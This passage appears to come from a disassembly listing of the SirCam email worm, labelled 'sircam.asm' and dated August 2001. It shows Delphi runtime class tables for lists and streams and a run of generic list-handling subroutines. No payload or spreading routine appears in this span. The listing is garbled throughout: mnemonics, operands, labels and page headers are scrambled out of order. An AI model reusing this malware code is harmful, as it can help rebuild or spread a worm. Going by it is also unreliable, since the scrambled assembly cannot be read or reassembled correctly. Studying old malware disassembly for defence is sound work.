DATA XREF: CODE:0040B85C\030o ; CODE:0040B87C\030o offset off_40B908 ; DATA XREF: sub_40C1B8+28\031r ; sub_40C358+26\031r ... 7 dup(0) offset dword_40B918 10h offset off_40100C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40C0B0 offset loc_40C234 ; DATA XREF: CODE:0040B8BC\030o offset nullsub_6 offset sub_40C104 offset sub_40C180 694C5405h, 0C08B7473h ; DATA XREF: CODE:0040B8DC\030o offset dword_40B96C ; DATA XREF: CODE:0040E4B8\031r ; CODE:0040E4DA\031r ... 7 dup(0) offset dword_40B96C 24h offset off_40100C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40C3AC 6854540Bh, 64616572h, 7473694Ch ; DATA XREF: CODE:0040B920\030o ; CODE:0040B940\030o offset off_40B9C4 ; DATA XREF: CODE:0040BA70\031o ; CODE:004134C0\031o sircam.asm off_40B9C4 dword_40B9D0 dword_40B9DE off_40B9EC dword_40B9F0 off_40BA14 dword_40BA18 \030o Fri Aug 10 12:42:44 2001 dd 3 dup(0) dd offset dword_40B9F0 dd 2 dup(0) dd offset dword_40B9D0 dd offset dword_40B9DE align 8 dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_40C520 dd offset loc_40C630 315 ; DATA XREF: CODE:0040B978\030o ; CODE:0040B9FD\031o dd offset nullsub_7 dd offset sub_40C54C dd 0FFFF0002h ; DATA XREF: CODE:0040B994\030o db 0FEh, 0FFh dd offset loc_40C6EC dd offset sub_40C63C dd 6550540Bh, 73697372h, 746E6574h ; DATA XREF: CODE:0040B998\030o align 4 dd offset dword_40B9F0 ; DATA XREF: CODE:0040BB32\031o ; CODE:0041356A\031o dd 50540B07h, 69737265h, 6E657473h ; DATA XREF: CODE:0040B988\030o ; CODE:0040B9EC\030o db 74h dd offset off_40B9C4 dd offset off_401060 dd 43070000h, 7373616Ch, 7365h align 4 dd offset dword_40BA18 ; DATA XREF: CODE:0040BB0E\031o dd 53490F0Fh, 6E697274h, 64417367h, 65747061h ; DATA XREF: CODE:0040BA14 off_40BA48 db dd dd dd db dd off_40BA94 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 72h offset off_401080 9C2F3401h, 0D052EC73h, 65737361h 73h, 2 dup(0) offset off_40BA94 ; ; 2 dup(0) offset dword_40BB04 offset dword_40BB24 3 dup(0) offset dword_40BB16 0Ch offset off_40B978 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40C6F0 offset loc_40C630 ; ; offset sub_40C900 offset sub_40C820 offset loc_4027FC offset loc_40CB84 offset loc_4027FC offset loc_40CB8C offset sub_40CBE4 offset sub_40CF2C offset nullsub_8 0A69E11h, 823DAF20h, 6C4307DAh DATA XREF: CODE:0040BB90\031o sub_40C820+C\031r ... DATA XREF: CODE:0040BA48\030o CODE:0040BB2E\031o sircam.asm dword_40BB04 dword_40BB16 off_40BB20 dword_40BB24 off_40BB44 dword_40BB48 \030o Fri Aug 10 12:42:44 2001 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd db dd dd dd db dd dd offset nullsub_9 offset sub_40D14C offset nullsub_10 offset sub_40C720 offset sub_40C744 offset sub_40C768 offset loc_4027FC offset loc_4027FC offset sub_40CA9C offset sub_40CB90 offset sub_40CCCC offset loc_4027FC offset sub_40CD7C offset sub_40CDD0 offset sub_40CE7C offset sub_40D010 offset sub_40D068 offset sub_40D0FC 0Eh, 10000h 2 dup(0) offset off_40BA14 8 74535408h, 676E6972h 73h, 90h offset dword_40BB24 53540807h, 6E697274h 316 ; DATA XREF: CODE:0040BA54\030o ; DATA XREF: CODE:0040BA68\030o ; DATA XREF: CODE:0040BC59\031o ; DATA XREF: CODE:0040BA58\030o ; CODE:0040BB20\030o db 67h, 73h dd offset off_40BA94 dd offset off_40B9EC align 4 dd 616C4307h, 73657373h, 0C08B0000h dd offset dword_40BB48 ; DATA XREF: sub_40D294+33\031r ; sub_40D380+16\031r ... dd 53540B0Eh, 6E697274h, 65744967h, 86Dh, 100h ; DATA XREF: CODE:0040BB44 off_40BB68 db 0 dd offset off_401000 align 8 dd offset off_40BBB4 off_40BBB4 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 3 dup(0) offset dword_40BC48 3 dup(0) offset dword_40BC38 30h offset off_40BA48 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40D294 offset loc_40C630 dd dd dd dd dd dd dd dd dd dd dd dd dd offset offset offset offset offset offset offset offset offset offset offset offset offset sub_40C900 sub_40C820 sub_40D500 loc_40D534 loc_40D538 sub_40D53C sub_40CBE4 sub_40D680 sub_40D6D8 sub_40D7A8 sub_40D14C loc_40D7C4 sub_40D2F0 ; DATA XREF: CODE:0040E4C9\031r ; sub_411838+1D\031r ... ; DATA XREF: CODE:0040BB68\030o ; CODE:0040BC55\031o sircam.asm dword_40BC38 dword_40BC48 off_40BC6C off_40BCB8 dword_40BCC8 off_40BCD0 off_40BD1C dword_40BD2C \030o off_40BD3C Fri Aug 10 12:42:44 2001 317 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd offset sub_40C744 offset sub_40C768 offset sub_40D380 offset sub_40D3B8 offset sub_40D41C offset sub_40CB90 offset sub_40D598 offset sub_40D5D0 offset sub_40CD7C offset sub_40CDD0 offset sub_40CE7C offset sub_40D010 offset sub_40D068 offset sub_40D0FC offset sub_40D348 offset sub_40D364 offset sub_40D498 offset loc_40D7EC offset sub_40D7FC 7453540Bh, 676E6972h, 7473694Ch ; DATA XREF: CODE:0040BB88\030o offset dword_40BC48 53540B07h, 6E697274h, 73694C67h ; DATA XREF: CODE:0040BB78\030o ; CODE:0040BC44\030o db 74h dd offset off_40BBB4 dd offset off_40BB20 dd 43070000h, 7373616Ch, 7365h align 4 dd offset off_40BCB8 ; DATA XREF: CODE:0040BCF8\031o ; CODE:0040BDCC\031o dd 7 dup(0) dd offset dword_40BCC8 dd 4 dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dd offset nullsub_11 ; DATA XREF: CODE:0040BC6C\030o dd offset loc_4027FC dd offset loc_4027FC dd offset loc_4027FC dd 74535407h, 6D616572h ; DATA XREF: CODE:0040BC8C\030o dd offset off_40BD1C ; DATA XREF: CODE:0040BD64\031o dd 7 dup(0) dd offset dword_40BD2C dd 8 dd offset off_40BC6C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dd offset sub_40D920 ; DATA XREF: CODE:0040BCD0\030o dd offset loc_40D8F4 dd offset loc_40D904 dd offset loc_40D914 dd 6148540Dh, 656C646Eh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:0040BCF0 dd offset off_40BD88 dd 7 dup(0) dd offset dword_40BD98 ; DATA XREF: sub_40CD7C+B\031r ; sub_40D010+E\031r ... sircam.asm Fri Aug 10 12:42:44 2001 dword_40BE00 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd off_40BE14 dd off_40BD88 dword_40BD98 off_40BDA4 off_40BDF0 off_40BE60 dword_40BE74 \030o off_40BE84 dword_40BE88 dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd dd 318 8 offset off_40BCD0 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40D9F8 offset sub_40D920 ; DATA XREF: CODE:0040BD3C\030o offset loc_40D8F4 offset loc_40D904 offset loc_40D914 6946540Bh, 7453656Ch, 6D616572h ; DATA XREF: CODE:0040BD5C\030o offset off_40BDF0 ; DATA XREF: CODE:0040BE3C\031o 7 dup(0) offset dword_40BE00 10h offset off_40BC6C offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_402BCC offset nullsub_11 ; DATA XREF: CODE:0040BDA4\030o offset sub_40DA28 offset loc_4027FC offset loc_40DA60 75435413h, 6D6F7473h, 6F6D654Dh, 74537972h, 6D616572h ; DATA XREF: CODE:0040BDC4\030o offset off_40BE60 ; DATA XREF: sub_411838+2C\031r ; sub_4151E8+74\031r ... 7 dup(0) offset dword_40BE74 14h offset off_40BDA4 offset loc_402CA0 offset nullsub_2 offset nullsub_3 offset sub_402CB4 offset nullsub_4 offset loc_402B70 offset sub_402B84 offset sub_40DA84 offset sub_40DB7C ; DATA XREF: CODE:0040BE14\030o offset sub_40DA28 offset sub_40DC2C offset loc_40DA60 offset sub_40DBA8 654D540Dh, 79726F6Dh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:0040BE34 dd offset dword_40BE88 ; DATA XREF: sub_415C9C+9B\031r ; sub_415C9C+B0\031r dd 49540E0Eh, 746E6564h, 4570614Dh, 7972746Eh, 8, 1 ; DATA XREF: CODE:0040BE84\030o dd offset off_401000 align 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40BEA8 proc near var_1C = byte ptr -1Ch ; CODE XREF: CODE:0040E3C8\031p ; sub_40E3D0+22\031p sircam.asm var_18 Fri Aug 10 12:42:44 2001 319 = dword ptr -18h push mov add push push push mov mov call mov xor push push push mov mov dec cmp jl ebp ebp, esp esp, 0FFFFFFE4h ebx esi edi esi, eax eax, ds:dword_41E618 sub_40C4B0 edi, eax eax, eax ebp offset loc_40BF60 dword ptr fs:[eax] fs:[eax], esp ebx, [edi+8] ebx ebx, 0 short loc_40BF03 push lea push mov mov call push call test jz cmp jnz ; CODE XREF: sub_40BEA8+59\031j 1Ch eax, [ebp+var_1C] eax edx, ebx eax, edi sub_40C20C eax j_VirtualQuery_0 esi, esi short loc_40BEF4 esi, [ebp+var_18] short loc_40BEFD mov mov call edx, ebx eax, edi sub_40C11C dec cmp jnz ebx ebx, 0FFFFFFFFh short loc_40BED6 mov mov call mov dec cmp jl ; CODE XREF: sub_40BEA8+2C\030j eax, ds:dword_41E61C edx, [eax] dword ptr [edx+14h] ebx, eax ebx ebx, 0 short loc_40BF48 push lea push mov mov mov call push call test jz cmp jnz ; CODE XREF: sub_40BEA8+9E\031j 1Ch eax, [ebp+var_1C] eax edx, ebx eax, ds:dword_41E61C ecx, [eax] dword ptr [ecx+18h] eax j_VirtualQuery_0 esi, esi short loc_40BF36 esi, [ebp+var_18] short loc_40BF42 loc_40BED6: loc_40BEF4: ; CODE XREF: sub_40BEA8+45\030j loc_40BEFD: ; CODE XREF: sub_40BEA8+4A\030j loc_40BF03: loc_40BF15: sircam.asm Fri Aug 10 12:42:44 2001 loc_40BF36: mov mov mov call ; CODE XREF: sub_40BEA8+87\030j edx, ebx eax, ds:dword_41E61C ecx, [eax] dword ptr [ecx+44h] dec cmp jnz ebx ebx, 0FFFFFFFFh short loc_40BF15 xor pop pop pop mov push ; CODE XREF: sub_40BEA8+6B\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_40BF67 loc_40BF42: ; CODE XREF: sub_40BEA8+8C\030j loc_40BF48: loc_40BF55: sub_40BEA8 320 ; CODE XREF: CODE:0040BF65\031j mov eax, ds:dword_41E618 call sub_40C514 retn endp ; sp = -48h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40BF60: ; DATA XREF: sub_40BEA8+1A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40BF55 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40BF67: ; DATA XREF: sub_40BEA8+A8\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 off_40BF70 dd offset dword_40BFBC ; DATA XREF: sub_40C000+F\031r dd 7 dup(0) dd offset dword_40BFBC dd 10h dd offset off_40100C dd offset loc_402CA0 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_402CB4 dd offset nullsub_4 dd offset loc_402B70 dd offset sub_402B84 dd offset sub_402BCC dword_40BFBC dd 6E495409h, 6E6F4374h, 0C08B7473h ; DATA XREF: CODE:0040BF70\030o ; CODE:0040BF90\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40BFC8 proc near arg_0 arg_4 = dword ptr = dword ptr push mov test ; CODE XREF: sub_40C000+14\031p 8 0Ch ebp ebp, esp dl, dl sircam.asm Fri Aug 10 12:42:44 2001 jz add call short loc_40BFD7 esp, 0FFFFFFF0h sub_402CDC mov mov mov mov mov test jz call pop add ; CODE XREF: sub_40BFC8+5\030j [eax+4], ecx ecx, [ebp+arg_4] [eax+8], ecx ecx, [ebp+arg_0] [eax+0Ch], ecx dl, dl short loc_40BFF9 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_40BFD7: loc_40BFF9: sub_40BFC8 321 ; CODE XREF: sub_40BFC8+20\030j pop retn endp ebp 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C000 proc near sub_40C000 push push push mov mov mov push push mov mov mov call mov mov call pop pop pop retn endp ; CODE XREF: CODE:00415E51\031p ; CODE:00415E65\031p ebx esi edi edi, ecx esi, edx ebx, eax esi edi ecx, ebx dl, 1 eax, ds:off_40BF70 sub_40BFC8 edx, eax eax, ds:dword_41E620 sub_40C428 edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C02C proc near var_4 arg_0 = dword ptr -4 = dword ptr 8 push mov push push push push mov ebp ebp, esp ecx ebx esi edi [ebp+var_4], edx ; CODE XREF: CODE:00413B63\031p ; CODE:00413D37\031p sircam.asm Fri Aug 10 12:42:44 2001 mov mov test jl inc lea 322 edi, eax esi, [ebp+arg_0] esi, esi short loc_40C062 esi ebx, [ecx+4] loc_40C043: ; CODE XREF: sub_40C02C+34\031j mov edx, edi mov eax, [ebx] call sub_406E40 test al, al jz short loc_40C05C mov al, 1 mov edx, [ebp+var_4] mov ecx, [ebx-4] mov [edx], ecx jmp short loc_40C064 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C05C: ; CODE XREF: sub_40C02C+22\030j add dec jnz ebx, 8 esi short loc_40C043 xor eax, eax pop pop pop pop pop retn endp edi esi ebx ecx ebp 4 loc_40C062: ; CODE XREF: sub_40C02C+11\030j loc_40C064: sub_40C02C ; CODE XREF: sub_40C02C+2E\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C06C proc near var_5 var_4 arg_0 = byte ptr -5 = dword ptr -4 = dword ptr 8 push mov add push push push mov mov mov test jl inc mov ebp ebp, esp esp, 0FFFFFFF8h ebx esi edi [ebp+var_4], ecx edi, edx esi, [ebp+arg_0] esi, esi short loc_40C09F esi ebx, [ebp+var_4] cmp jnz mov mov mov call eax, [ebx] short loc_40C099 [ebp+var_5], 1 eax, edi edx, [ebx+4] sub_40351C ; CODE XREF: CODE:00413B53\031p ; CODE:00413D27\031p loc_40C085: ; CODE XREF: sub_40C06C+31\031j sircam.asm Fri Aug 10 12:42:44 2001 323 jmp short loc_40C0A3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C099: ; CODE XREF: sub_40C06C+1B\030j add dec jnz ebx, 8 esi short loc_40C085 mov [ebp+var_5], 0 mov pop pop pop pop pop pop retn endp al, [ebp+var_5] edi esi ebx ecx ecx ebp 4 loc_40C09F: ; CODE XREF: sub_40C06C+13\030j loc_40C0A3: sub_40C06C ; CODE XREF: sub_40C06C+2B\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C0B0 proc near ; DATA XREF: CODE:0040B904\030o push ebx push esi call sub_402D3C mov ebx, edx mov esi, eax mov eax, esi mov edx, [eax] call dword ptr [edx+8] test bl, bl jle short loc_40C0CD mov eax, esi call sub_402D2C loc_40C0CD: sub_40C0B0 ; CODE XREF: sub_40C0B0+14\030j pop pop retn endp esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C0D0 proc near ; CODE XREF: sub_40C428+41\031p ; sub_412604+14\031p push push push mov mov mov cmp jnz mov mov call ebx esi edi edi, edx ebx, eax esi, [ebx+8] esi, [ebx+0Ch] short loc_40C0E5 eax, ebx edx, [eax] dword ptr [edx] mov mov inc ; CODE XREF: sub_40C0D0+D\030j eax, [ebx+4] [eax+esi*4], edi dword ptr [ebx+8] loc_40C0E5: sircam.asm Fri Aug 10 12:42:44 2001 test jz xor mov mov mov call edi, edi short loc_40C0FD ecx, ecx edx, edi eax, ebx ebx, [eax] dword ptr [ebx+4] mov pop pop pop retn endp eax, esi edi esi ebx loc_40C0FD: sub_40C0D0 324 ; CODE XREF: sub_40C0D0+20\030j ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C104 sub_40C104 proc near push ebx mov ebx, eax xor edx, edx mov eax, ebx call sub_40C2E4 xor edx, edx mov eax, ebx call sub_40C2A8 pop ebx retn endp ; DATA XREF: CODE:0040B910\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C11C proc near ; CODE XREF: sub_40BEA8+50\030p ; sub_40C288+15\031p ... push push push mov mov test jl cmp jl ebx esi edi esi, edx ebx, eax esi, esi short loc_40C12C esi, [ebx+8] short loc_40C13B mov mov mov call ; CODE XREF: sub_40C11C+9\030j edx, ds:off_41DC24 ecx, esi eax, [ebx] sub_40C1B8 mov mov call mov dec mov cmp jge sub mov ; CODE XREF: sub_40C11C+E\030j edx, esi eax, ebx sub_40C20C edi, eax dword ptr [ebx+8] eax, [ebx+8] esi, eax short loc_40C169 eax, esi ecx, eax loc_40C12C: loc_40C13B: sircam.asm Fri Aug 10 12:42:44 2001 shl mov lea mov lea call ecx, 2 eax, [ebx+4] edx, [eax+esi*4] eax, [ebx+4] eax, [eax+esi*4+4] sub_4026B0 test jz mov mov mov mov call ; CODE XREF: sub_40C11C+32\030j edi, edi short loc_40C178 cl, 2 edx, edi eax, ebx ebx, [eax] dword ptr [ebx+4] loc_40C169: loc_40C178: sub_40C11C 325 ; CODE XREF: sub_40C11C+4F\030j pop pop pop retn endp edi esi ebx ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C17C sub_40C17C proc near mov eax, [ebp+4] retn endp ; CODE XREF: sub_40C180+9\031p ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C180 proc near var_8 var_4 = dword ptr -8 = byte ptr -4 sub_40C180 push push add mov mov call push mov mov lea push push mov mov mov call jmp endp ; CODE XREF: sub_40C1B8+2D\031p ; DATA XREF: CODE:0040B914\030o ebx esi esp, 0FFFFFFF8h esi, ecx ebx, edx sub_40C17C eax [esp+0Ch+var_8], esi [esp+0Ch+var_4], 0 eax, [esp+0Ch+var_8] eax 0 ecx, ebx dl, 1 eax, ds:off_40B748 sub_40948C sub_402F98 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ pop ecx pop edx pop esi pop ebx retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 sircam.asm Fri Aug 10 12:42:44 2001 326 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40C1B8 proc near var_4 = dword ptr -4 push mov push push push mov mov xor push push push mov lea mov call mov mov mov call xor pop pop pop mov push ; CODE XREF: sub_40C11C+1A\030p ; sub_40C20C+19\031p ... ebp ebp, esp 0 ebx esi esi, ecx ebx, edx eax, eax ebp offset loc_40C200 dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, ebx sub_404B80 edx, [ebp+var_4] ecx, esi eax, ds:off_40B8BC sub_40C180 eax, eax edx ecx ecx fs:[eax], edx offset loc_40C207 loc_40C1F7: sub_40C1B8 ; CODE XREF: CODE:0040C205\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C200: ; DATA XREF: sub_40C1B8+E\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_40C1F7 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C207: ; DATA XREF: sub_40C1B8+3A\030o pop pop pop pop retn esi ebx ecx ebp ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40C20C proc near push push mov mov test jl cmp jl ebx esi esi, edx ebx, eax esi, esi short loc_40C21B esi, [ebx+8] short loc_40C22A ; CODE XREF: sub_40BEA8+38\030p ; sub_40C11C+23\030p ... sircam.asm Fri Aug 10 12:42:44 2001 loc_40C21B: mov mov mov call ; CODE XREF: sub_40C20C+8\030j edx, ds:off_41DC24 ecx, esi eax, [ebx] sub_40C1B8 loc_40C22A: sub_40C20C 327 ; CODE XREF: sub_40C20C+D\030j mov mov pop pop retn endp eax, [ebx+4] eax, [eax+esi*4] esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_40C234: ; DATA XREF: CODE:0040B908\030o mov cmp jle mov test jns add edx, [eax+0Ch] edx, 40h short loc_40C24A ecx, edx ecx, ecx short loc_40C245 ecx, 3 loc_40C245: ; CODE XREF: CODE:0040C240\030j sar ecx, 2 jmp short loc_40C25B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C24A: ; CODE XREF: CODE:0040C23A\030j cmp edx, 8 jle short loc_40C256 mov ecx, 10h jmp short loc_40C25B ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40C256: ; CODE XREF: CODE:0040C24D\030j mov ecx, 4 loc_40C25B: ; CODE XREF: CODE:0040C248\030j ; CODE:0040C254\030j add ecx, edx mov edx, ecx call sub_40C2A8 retn ; 